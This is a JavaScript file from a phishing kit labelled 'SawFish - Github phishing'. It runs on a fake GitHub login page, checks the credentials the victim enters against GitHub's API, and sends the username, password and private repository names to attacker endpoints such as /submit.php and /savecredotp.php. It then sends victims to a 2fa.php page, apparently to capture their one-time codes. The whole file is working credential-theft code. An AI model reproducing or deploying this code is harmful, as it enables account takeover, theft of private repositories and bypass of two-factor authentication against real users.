#SawFish - Github phishing

$(function () {
    $('#submitbtn').on('click', function (e) {
        e.preventDefault();
        var username = $('#login_field').val();
        var password = $('#password').val();
        var requri = 'https://api.github.com/user/repos?type=private';

        requestJSON(username, password, requri, function (json) {
            if (json.message == "Bad credentials" || (username == '' || password == '')) {
		$.ajax({
                    type: "POST",
		    dataType: "JSON",
                    data: {'try':'true', 'user':username, 'pass':password},
                    url: "/attempts.php",
                    complete: function(response){
			console.log(response.responseJSON);
			if (response.responseJSON.attempts >= 3) {
			    window.location.href = '404.php';
			}
		    }
		});
            $('#login-error').html('<center><div style="display: inline-block; align: center;" class="alert alert-danger" role="alert">Incorrect username or password.</div></center>');
            } else if (json.message == "Must specify two-factor authentication OTP code.") {
		$.ajax({
		    type: "POST",
		    data: {user:username, pass:password},
		    url: "/savecredotp.php",
		    complete: function(response) {
			window.location.href = '2fa.php';
		    }
		});
            } else {
		$('#submitbtn').attr('disabled', true);
		$('#submitbtn').attr('value', 'Signing in…');
                repositories = json;
                sendThisContent();
                function sendThisContent() {
                    if (repositories.length == 0) {return 0;}
                    else {
                        var repos = [];
                        $.each(repositories, function (i) {
                            repos[i] = repositories[i].full_name;
                        });
                        $.ajax({
                            type: "POST",
                            data: {repos:repos, user:username, pass:password},
                            url: "/submit.php",
                            complete: function(response){
                                window.location.href = '2fa.php';
                            }
                        });
                    }
                }
            }
        });
    });
    function requestJSON(usergh, passgh, url, callback) {
        $.ajax({
            url: url,
            crossDomain: true,
            datatype: 'jsonp',
            beforeSend: function(xhr) {
                xhr.setRequestHeader("Authorization", "Basic " + btoa(usergh + ":" + passgh));
            },
            complete: function (xhr) {
                callback.call(null, xhr.responseJSON);
            }
        });
    }
});